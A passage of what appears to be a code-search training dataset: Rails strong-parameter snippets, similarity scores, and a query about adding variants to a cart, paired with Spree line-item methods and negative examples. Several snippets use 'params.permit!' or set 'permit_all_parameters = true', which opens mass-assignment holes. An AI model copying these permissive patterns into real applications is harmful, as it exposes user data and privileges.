"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Get current line item for variant if exists Add variant qty to line_item
|
def add(variant, quantity, currency=nil, shipment=nil)
line_item = order.find_line_item_by_variant(variant)
add_to_line_item(line_item, variant, quantity, currency, shipment)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_line_item_to_order( variant )\n duplicate_line_item = line_item_exists?( variant )\n duplicate_line_item.quantity += 1 and return duplicate_line_item if duplicate_line_item\n\n line_items.build :name => variant.good.name, \n :price => variant.price, \n :options => variant.option_values_to_s,\n :sku => variant.sku\n end",
"def initialize_line_item_with_variant( variant_id, options = {} )\n init_quantity = options[ :quantity ].to_i\n init_quantity = 1 if init_quantity == 0\n \n duplicate_line_item = line_items.where( variant_id: variant_id ).first\n duplicate_line_item.quantity += init_quantity and return duplicate_line_item if duplicate_line_item\n\n line_items.build variant_id: variant_id, quantity: init_quantity\n end",
"def add_to_line_item(variant, quantity, options = {})\n line_item = grab_line_item_by_variant(variant, false, options)\n\n line_item ||= order.line_items.new(\n quantity: 0,\n variant: variant,\n currency: order.currency\n )\n line_item.quantity += quantity.to_i\n line_item.options = ActionController::Parameters.new(options).permit(Spree::PermittedAttributes.line_item_attributes).to_h\n\n unless options.empty?\n product_customizations_values = options[:product_customizations] || []\n line_item.product_customizations = product_customizations_values\n product_customizations_values.each { |product_customization| product_customization.line_item = line_item }\n product_customizations_values.map(&:save) # it is now safe to save the customizations we built\n\n # find, and add the configurations, if any. these have not been fetched from the db yet. line_items.first.variant_id\n # we postponed it (performance reasons) until we actually know we needed them\n ad_hoc_option_value_ids = ( options[:ad_hoc_option_values].any? ? options[:ad_hoc_option_values] : [] )\n product_option_values = ad_hoc_option_value_ids.map do |cid|\n Spree::AdHocOptionValue.find(cid) if cid.present?\n end.compact\n line_item.ad_hoc_option_values = product_option_values\n\n offset_price = product_option_values.map(&:price_modifier).compact.sum + product_customizations_values.map {|product_customization| product_customization.price(variant)}.compact.sum\n\n line_item.price = variant.price_in(order.currency).amount + offset_price\n end\n\n if line_item.new_record?\n create_order_stock_locations(line_item, options[:stock_location_quantities])\n end\n\n line_item.target_shipment = options[:shipment]\n line_item.save!\n line_item\n end",
"def add_to_line_item(line_item, variant, quantity, currency=nil, shipment=nil, price=nil)\n if line_item\n line_item.target_shipment = shipment\n line_item.quantity += quantity.to_i\n line_item.currency = currency unless currency.nil?\n line_item.save\n else\n line_item = order.line_items.new(quantity: quantity, variant: variant)\n # line_item = Spree::LineItem.new(quantity: quantity)\n line_item.target_shipment = shipment\n line_item.variant = variant\n if currency\n line_item.currency = currency unless currency.nil?\n line_item.price = price || variant.price_in(currency).amount\n else\n line_item.price = price || variant.price\n end\n # order.line_items << line_item\n # line_item\n end\n \n line_item.save\n order.reload\n line_item\n end",
"def add_variant_with_gift_package(variant, quantity = 1, gift_package_id = nil)\n current_item = contains?(variant)\n if current_item\n current_item.quantity += quantity\n current_item.gift_package_id = gift_package_id\n current_item.save\n else\n current_item = Spree::LineItem.new(:quantity => quantity)\n current_item.variant = variant\n current_item.price = variant.price\n current_item.gift_package_id = gift_package_id\n self.line_items << current_item\n end\n\n # populate line_items attributes for additional_fields entries\n # that have populate => [:line_item]\n Spree::Variant.additional_fields.select { |f| !f[:populate].nil? && f[:populate].include?(:line_item) }.each do |field|\n value = ''\n\n if field[:only].nil? || field[:only].include?(:variant)\n value = variant.send(field[:name].gsub(' ', '_').downcase)\n elsif field[:only].include?(:product)\n value = variant.product.send(field[:name].gsub(' ', '_').downcase)\n end\n current_item.update_attribute(field[:name].gsub(' ', '_').downcase, value)\n end\n\n current_item\n end",
"def populate\n @order = current_order(session)\n variant_id = params[:variant_id]\n \n new_line_item = Breeze::Commerce::LineItem.new(:variant_id => variant_id, :quantity => params[:quantity] || 1)\n existing_line_item = @order.line_items.unarchived.where(:variant_id => variant_id).first \n if existing_line_item\n existing_line_item.quantity += new_line_item.quantity\n existing_line_item.save\n else\n @order.line_items << new_line_item\n end\n\n @order.save\n end",
"def add_variant(variant, quantity = 1, currency = nil)\n prices_amount = get_prices_amount(variant, currency || self.currency)\n\n current_item = Spree::LineItem.new(:quantity => quantity)\n current_item.variant = variant\n\n if currency\n current_item.currency = currency\n end\n\n if prices_amount[:sale_amount].present?\n current_item.price = prices_amount[:sale_amount]\n # current_item.old_price = prices_amount[:original_amount] disabled because it doesnt include customisations\n else\n current_item.price = prices_amount[:original_amount]\n end\n\n self.line_items << current_item\n self.reload\n current_item\n end",
"def add_item(item_id)\n line_item = self.line_items.find_by(item_id: item_id)\n if line_item\n line_item.quantity += 1\n else\n line_item=self.line_items.build(item_id: item_id)\n end\n line_item\n end",
"def add_item(product_id)\n item = line_items.where(product_id: product_id).first\n if item.present?\n item.quantity += 1\n item\n else\n line_items.new(product_id: product_id)\n end\n end",
"def add_item(item_id)\n if line_item = line_items.find_by(item_id: item_id)\n line_item.quantity += 1\n else\n line_item = line_items.build(item_id: item_id)\n end\n line_item\n end",
"def add_product(product_id)\n current_item = line_item.find_by_product_id(product_id)\n if current_item\n current_item.quantity += 1\n else\n current_item = line_items.build(product_id: product_id)\n end\t\n current_item\nend",
"def update_cart_line_item(a_line_item, quantity, options={})\n return remove(a_line_item, options) if quantity <= 0\n item = find(:first, a_line_item)\n item.quantity = quantity if item\n item\n end",
"def add(variant, quantity = 1, currency = nil, shipment = nil)\n line_item = order.find_line_item_by_variant(variant)\n \n # 29/12/13 DH: Only allow 1 variant sample per order\n #unless variant.option_value(\"silk\") == \"Sample\" and line_item\n # line_item = add_to_line_item(line_item, variant, quantity, currency, shipment)\n #end\n \n # 3/3/14 DH: Previously only allowing 1 sample variant per order but since the BSC spec is per variant\n # line_item then can only allow 1 variant per order \n # (diff variants, eg pencil pleat and deep pencil pleat, of same silk still allowed)\n if line_item\n return line_item\n else\n line_item = add_to_line_item(line_item, variant, quantity, currency, shipment)\n end\n \n line_item\n \n end",
"def add_item(line_item_from_cart)\n current_item = cart.line_items.find_by(line_item_id: line_item.id)\n\n if current_item\n current_item = cart.line_items.find_by(line_item_id: line_item.id)\n else\n current_item = cart.line_items.find_by(line_item_id: line_item.id)\n end\n\n current_item\n end",
"def add_product(product_id)\n \tcurrent_item = line_items.find_by(product_id: product_id)\n if current_item\n current_item.quantity += 1\n else\n current_item = line_items.build(product_id: product_id)\n end\n current_item\n end",
"def add_product(product)\n current_item = line_items.find_by(product_id: product.id)\n if current_item\n current_item.quantity += 1\n else\n current_item = line_items.build(product_id: product.id)\n end\n current_item\n end",
"def add_product(product_id)\n current_item = line_items.where(:product_id => product_id).first\n if current_item\n current_item.quantity += 1\n # Otherwise create a new line_item\n else\n current_item = LineItem.new(:product_id => product_id)\n line_items << current_item # add the current_item to the end of the line_items\n end\n current_item\n end",
"def add_product(product)\n current_item = line_items.find_by(product_id: product.id)\n if current_item\n current_item.quantity += 1\n else\n current_item = line_items.build(product_id: product.id)\n end\n current_item\n end",
"def add_product(product)\n current_item = line_items.where(:product_id => product.id).first\n if current_item\n current_item.quantity += 1\n else\n current_item = LineItem.new(:product_id => product_id)\n line_items << current_item\n end\n current_item\n end",
"def add_product(product)\n current_item = line_items.find_by(product_id: product.id) # find the current item in the line items. find_by() returns an existing LineItem or nil.\n if current_item # if the current item is present...\n current_item.quantity += 1 # ...increment by one.\n else\n current_item = line_items.build(product_id: product.id) # If the item isn't present then build the line_item.\n current_item.price = product.price # Take the current_item and capture the price attribute.\n end\n current_item # Return the current item.\n end",
"def add_chocolate_bar(chocolate_bar)\ncurrent_item = line_items.find_by(chocolate_bar_id: chocolate_bar.id)\nif current_item\ncurrent_item.quantity += 1\nelse\ncurrent_item = line_items.build(chocolate_bar_id: chocolate_bar.id)\nend\ncurrent_item\nend",
"def add_product(item_id,user_id,line_item_type)\n\tcurrent_item = line_items.where(:item_id => item_id,:user_id=>user_id,:line_item_type => line_item_type).first\n item = Item.find(item_id)\n if line_item_type.to_i!=0\n -1\n elsif current_item\n if(item.availability<=current_item.quantity && current_item.line_item_type.to_i==0)\n -1\n else\n current_item.quantity += 1\n current_item\n end\n else\n if(item.availability<=0 && line_item_type.to_i==0)\n -1\n else\n current_item = LineItem.new(:item_id=>item_id,:user_id=>user_id,:line_item_type => line_item_type)\n line_items << current_item\n current_item\n end\n end\n end",
"def add_product (product_id)\n current_item = line_items.find_by_product_id(product_id)\n if current_item\n current_item.quantity += 1\n else\n # The default quantity is 1. \n current_item = line_items.build(product_id: product_id)\n end\n current_item\n end",
"def line_item_from( variant_id = nil, options = {} )\n variant_id ? initialize_line_item_with_variant( variant_id, options ) : line_items.build\n end",
"def line_item_for(variant_id, order_id)\n line_items_for_variant = line_items_by_variant_id[variant_id]\n return NullLineItem.new unless line_items_for_variant\n\n line_item = line_items_for_variant\n .find { |line_item| line_item.order_id == order_id }\n\n line_item || NullLineItem.new\n end",
"def add_cart_line_item(newitem, options={})\n return nil if newitem.nil?\n item = find(:first, newitem)\n if item\n # existing item found, update item quantity and add total_price\n item.quantity += newitem.quantity\n else\n # not in cart yet\n item = newitem\n @line_items << item\n end\n item\n end",
"def add_variant\n order = current_order(create_order_if_necessary: true)\n variant = Spree::Variant.find(params[:variant_id])\n quantity = params[:quantity].to_i\n\n if quantity.between?(1, 2_147_483_647)\n begin\n order.contents.add(variant, quantity)\n order.ensure_updated_shipments\n @order = order.reload\n render_order\n rescue ActiveRecord::RecordInvalid => e\n invalid_resource!(e.record)\n end\n else\n invalid_resource!(order)\n end\n end",
"def line_items_by_variant_id\n @line_items_by_variant_id ||= line_items.group_by(&:variant_id)\n end",
"def add_to_shipment(shipment, variant, quantity, line_item = nil)\n on_hand, back_order = shipment.stock_location.fill_status(variant, quantity)\n\n on_hand.times do\n shipment.inventory_units.create({variant_id: variant.id, line_item: line_item.id,\n state: 'on_hand'}, without_protection: true)\n end\n\n back_order.times do\n shipment.inventory_units.create({variant_id: variant.id, line_item_id: line_item.id,\n state: 'backordered'}, without_protection: true)\n end\n\n shipment.stock_location.unstock variant, quantity, shipment\n quantity\n end",
"def add_variant(variant, quantity = 1, currency = nil)\n current_item = super\n if update_prices_per_user\n current_item.reload\n else\n current_item\n end\n end",
"def add_quantity(quantity, variant, sub_location, row_hash)\n # if only one sub location listed\n if sub_location.split(\",\").length > 1\n @errors << { :part_number => row_hash[:name], :condition => row_hash[:condition], :message => \"Cannot add initial quantity for part with multiple sub locations (#{sub_location})\" }\n # otherwise if there is a sub_location stock item\n elsif stock_item = variant.sub_location(sub_location)\n #if !(stock_item = @new_product_condition.where(\"sub_location=?\", sub_location)).empty\n stock_item.adjust_count_on_hand(quantity)\n else\n @errors << { :part_number => row_hash[:name], :condition => row_hash[:condition], :message => \"Cannot find stock item for \" + sub_location }\n end\n\n end",
"def add_item(item, qty)\n for ele in @order do\n order_item = ele.keys[0]\n if order_item.name == item.name\n ele[order_item] += qty\n return \n end\n end\n @order.push({item => qty})\n \n end",
"def add_product(product)\n # @type [LineItem, NilClass]\n item = line_items.find_by(product: product)\n if item.present?\n item.quantity += 1\n else\n item = line_items.build(product: product)\n end\n\n item\n end",
"def update_product_qty\n @order = Spree::Order.find_by_id(params[:order_id])\n @line_item = Spree::LineItem.find_by_id(params[:line_item_id])\n request_to_update_qty = params[:quantity].to_i\n # code to find the order_total\n if @order.market_place.present?\n case @order.market_place.code\n when \"qoo10\"\n order_total = @order.market_place_details.present? ? @order.market_place_details[\"total\"] : @order.total\n when \"lazada\", 'zalora'\n order_total = @order.total\n end\n end\n if @line_item.present?\n prev_qty = @line_item.quantity.to_i\n final_qty = prev_qty - request_to_update_qty\n @variant = @line_item.variant\n @product = @variant.product if @variant.present?\n # code to update line item\n @line_item.update_column(:quantity, request_to_update_qty)\n @sellers_market_places_product = Spree::SellersMarketPlacesProduct.where(\"seller_id=? AND market_place_id=? AND product_id=?\", @order.seller_id, @order.market_place_id, @product.id).try(:first)\n if @sellers_market_places_product.present?\n @stock_product = Spree::StockProduct.where(\"sellers_market_places_product_id=? AND variant_id=?\", @sellers_market_places_product.id, @variant.id).try(:first)\n if @stock_product.present?\n @stock_product.update_attributes(:count_on_hand=>(@stock_product.count_on_hand + final_qty.to_i) >= 0 ? (@stock_product.count_on_hand + final_qty.to_i) : 0)\n @variant.update_attributes(:fba_quantity=>(@variant.fba_quantity + final_qty.to_i) >= 0 ? (@variant.fba_quantity + final_qty.to_i) : 0) if [email protected]_inflations.present?\n msg = 'Admin/Orders Controller update_product_qty '\n @variant.add_log_on_update(msg) rescue QTY_LOG.error \"#{Time.zone.now} Error -- #{msg}\"\n end\n end\n end\n # code to update order total after creating line item for order\n @order.update_column(:total, order_total)\n @order.reload\n line_items = @order.line_items\n respond_to do |format|\n format.html { render :partial=>\"modify_shipping\", :locals => { :line_items => line_items }}\n end\n end",
"def create\n chosen_product = Product.find(params[:line_item][:product_id])\n if @current_cart.products.include?(chosen_product)\n @line_item = @current_cart.line_items.find_by(product_id: chosen_product)\n @line_item.quantity += 1\n else\n @line_item = LineItem.create!(line_item_params)\n end\n\n @line_item.save\n respond_to do |format|\n format.html { redirect_to cart_path(@current_cart), notice: 'Item successfully added to cart!' }\n format.json { head :no_content }\n end\n end",
"def add_to_cart\n @cart = current_user.carts.find_or_create_by(completed: false)\n @line_item = @cart.line_items.find_or_create_by(product_id: params[:product_id])\n @line_item.update quantity: @line_item.quantity + 1\n end",
"def create\n item = Item.find(params[:item_id])\n @line_item = @cart.line_items.find_by(item: item)\n if @line_item\n @line_item.quantity += 1\n else\n @line_item = @cart.line_items.new(item: item)\n end\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to @line_item.cart, notice: 'Line item was successfully created.' }\n format.json { render :show, status: :created, location: @line_item }\n else\n format.html { render :new }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\nend",
"def add_product(product_id)\n \n #Check if the current item is in our current line items\n current_item = line_items.find_by_product_id(product_id)\n if current_item\n #If it is already in our line items, increment the quantity\n current_item.quantity += 1\n else\n #Otherwise, build the relationship\n current_item = line_items.build(product_id: product_id)\n end\n \n #return the current item\n current_item\n end",
"def add_or_create_line_item(item_id)\n if line_item = self.line_items.find_by(item_id: item_id)\n line_item.increment\n line_item\n else\n LineItem.new(cart_id: self.id, item_id: item_id)\n end\n end",
"def line_item(item)\n {\n Name: item.product.name,\n Number: item.variant.sku,\n Quantity: item.quantity,\n Amount: {\n currencyID: item.order.currency,\n value: item.price\n },\n ItemCategory: 'Physical'\n }\n end",
"def add_product(product)\n\t\tcurrent_item = line_items.find_by(product_id: product.id)\n\t\tif current_item\n\t\t\tcurrent_item.quantity += 1\n\t\telse\n\t\t\tcurrent_item = line_items.build(product_id: product.id)\n\t\tend\n\t\tcurrent_item\n\tend",
"def add(product, qty)\n l = LineItem.new\n l.set_from_product(product, qty)\n @lines << l\n end",
"def get_line_item_quantity(id)\n\t\tself.order_line_items.each do |item|\n\t\t\treturn item.quantity if item.product_id == id\n\t\tend\n\t\treturn 0\n\tend",
"def prepare_cart_items(variant_id)\n self.update_attributes(variant_id: variant_id, quantity: 1)\n end",
"def add_product_skus\n @order = Spree::Order.find_by_id(params[:order_id])\n @variant = Spree::Variant.find_by_id(params[:variant_id])\n @product = @variant.product\n requested_qty = params[:quantity]\n is_customer_pickup = @order.market_place_details.present? ? (@order.market_place_details[\"OrderType\"] == \"Pickup\" ? true : false) : false\n # code to find the order_total\n if @order.market_place.present?\n case @order.market_place.code\n when \"qoo10\"\n order_total = @order.market_place_details.present? ? @order.market_place_details[\"total\"] : @order.total\n when \"lazada\",'zalora'\n order_total = @order.total\n end\n end\n # code to create line item\n price = @variant.price.present? ? @variant.price : 0.0 \n @line_item = Spree::LineItem.create!(:variant_id=>@variant.id, :order_id=>@order.id, :quantity=>requested_qty, :price=>price, :currency=>@order.currency, :is_pick_at_store => is_customer_pickup)\n if @line_item.present?\n @sellers_market_places_product = Spree::SellersMarketPlacesProduct.where(\"seller_id=? AND market_place_id=? AND product_id=?\", @order.seller_id, @order.market_place_id, @product.id).try(:first)\n if @sellers_market_places_product.present?\n @stock_product = Spree::StockProduct.where(\"sellers_market_places_product_id=? AND variant_id=?\", @sellers_market_places_product.id, @variant.id).try(:first)\n if @stock_product.present?\n @stock_product.update_attributes(:count_on_hand=>(@stock_product.count_on_hand - requested_qty.to_i) >= 0 ? (@stock_product.count_on_hand - requested_qty.to_i) : 0)\n @variant.update_attributes(:fba_quantity=>(@variant.fba_quantity - requested_qty.to_i) >= 0 ? (@variant.fba_quantity - requested_qty.to_i) : 0) if [email protected]_inflations.present?\n msg = 'Admin/Orders Controller add_product_skus Line 182'\n @variant.add_log_on_update(msg) rescue QTY_LOG.error \"#{Time.zone.now} Error -- #{msg}\"\n else\n @stock_product = Spree::StockProduct.create!(:sellers_market_places_product_id=>@sellers_market_places_product.id, :variant_id=>@variant.id, :count_on_hand=>requested_qty.to_i, :virtual_out_of_stock=>false)\n @variant.update_attributes(:fba_quantity=>(@variant.fba_quantity - requested_qty.to_i) >= 0 ? (@variant.fba_quantity - requested_qty.to_i) : 0) if [email protected]_inflations.present?\n msg = 'Admin/Orders Controller add_product_skus Line 187'\n @variant.add_log_on_update(msg) rescue QTY_LOG.error \"#{Time.zone.now} Error -- #{msg}\"\n end\n end\n end\n # code to update order total after creating line item for order\n @order.update_column(:total, order_total)\n @order.reload\n line_items = @order.line_items\n ActiveSupport::Notifications.instrument('spree.order.contents_changed', {:user => nil, :order => @order})\n respond_to do |format|\n format.html { render :partial=>\"modify_shipping\", :locals => { :line_items => line_items }}\n end\n end",
"def add_item\n item = params[:item]\n image = Image.find(item[:image_id])\n\n order = current_user.init_cart.order\n line_item = order.line_items.where(\n image_id: image.id,\n product_id: item[:product_id],\n product_option_id: item[:product_option_id]\n ).first\n\n if line_item.present?\n line_item.quantity += item[:quantity].to_i\n else\n line_item = order.line_items.build(item)\n end\n\n line_item.price = Product.find(line_item.product_id).price_for_tier(image.tier_id, image.owner?(current_user))\n line_item.tax = line_item.price * PER_TAX\n\n if line_item.save\n render json: line_item, status: :created\n else\n render json: { msg: line_item.errors.full_messages.to_sentence }, status: :bad_request\n end\n end",
"def add_product(product_id)\n\t\tcurrent_item = line_items.find_by(product_id: product_id)\n\t\tif current_item\n\t\t\tcurrent_item.quantity += 1\n\t\telse\n\t\t\tcurrent_item = line_items.build(product_id: product_id)\n\t\tend\n\t\tcurrent_item\n\tend",
"def line_item\n variant = Spree::Variant.find(subscription_line_item.subscribable_id)\n raise UnsubscribableError.new(variant) unless variant.subscribable?\n return unless variant.can_supply?(subscription_line_item.quantity)\n\n Spree::LineItem.new(variant: variant, quantity: subscription_line_item.quantity)\n end",
"def add_product(product_id) #a method that accumulates the quantity of a product that has been added more than twice, using its id\n\t\tcurrent_item = line_items.where(:product_id => product_id).first\n\n\t\tif current_item\n\n\t\t\tcurrent_item.quantity += 1 rescue current_item.quantity\n\t\telse\n\t\t\tcurrent_item = LineItem.new(:product_id=>product_id) #adding a new product to the order line, since its unique to this cart\n\t\t\tline_items << current_item\n\t\tend\n\n\t\tcurrent_item\n\tend",
"def add_product(product_id)\n\t\tcurrent_item = line_items.find_by_product_id(product_id)\n\t\tif current_item\n\t\t\tcurrent_item.quantity += 1\n\t\telse\n\t\t\tcurrent_item = line_items.build(:product_id => product_id)\n\t\tend\n\t\tcurrent_item\n\tend",
"def handle_addFreeItem_effect(profileId, sku, label)\n @order.line_items.create!(variant: Spree::Variant.find_by_sku(sku),\n quantity: 1,\n price: 0)\n end",
"def add_product(product_id)\n \tcurrent_item = line_items.find_by(product_id: product_id)\n \tif current_item\n \t\tcurrent_item.quantity += 1\n \telse\n \t\tcurrent_item = line_items.build(product_id: product_id)\n current_item.product_price = Product.find(product_id).price\n \tend\n \tcurrent_item\n end",
"def create_line_item_for_per_person_charge qty, vendor_id, notes\n event_vendor = event_vendors.where(:vendor_id => vendor_id).first\n new_line_items = create_line_item_for_per_person_charge_2(event_vendor.participation, event_vendor, true, true, \"\")\n line_items.push(new_line_items)\n new_line_items\n end",
"def add_product(product_id)\n \t#current_item = line_items.where(product_id: product_id).first\n\n \t# if current_item\n \t# if (current_item.quantity == nil) \n # current_item.quantity = 0\n # end\n # current_item.quantity = 1\n \t# else\n \t# current_item = line_items.build(:product_id => product_id)\n # current_item.quantity += 1\n # end\n #current_item\n line_items.create(:product_id => product_id, :quantity => 1)\n end",
"def add_product(product)\n\t\titem_to_add = line_items.find_by(product_id: product.id)\n\t\tif item_to_add\n\t\t\titem_to_add.quantity += 1\n\t\telse\n\t\t\t# in this case we create the line_item, the quantity default is 1\n\t\t\titem_to_add = line_items.build(product_id: product.id)\n\t\t\titem_to_add.order = nil\n\t\tend\n\t\titem_to_add\n\tend",
"def set_line_item\n @line_item = order.line_items.find(params[:id])\n end",
"def add_product(product_id) #why methid in model? not in controller?\n\t\tcurrent_item = line_items.find_by(product_id: product_id) #find_by returns one object, where return array\n\t\tif current_item\n\t\t\tcurrent_item.quantity += 1\n\t\telse\n\t\t\tcurrent_item = line_items.build(product_id: product_id) #you could build it from \"cart\" side as well\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#rails establishes connections for you\n\t\tend\n\n\t\tcurrent_item\n\tend",
"def set_item\n @item = @variant.item\n end",
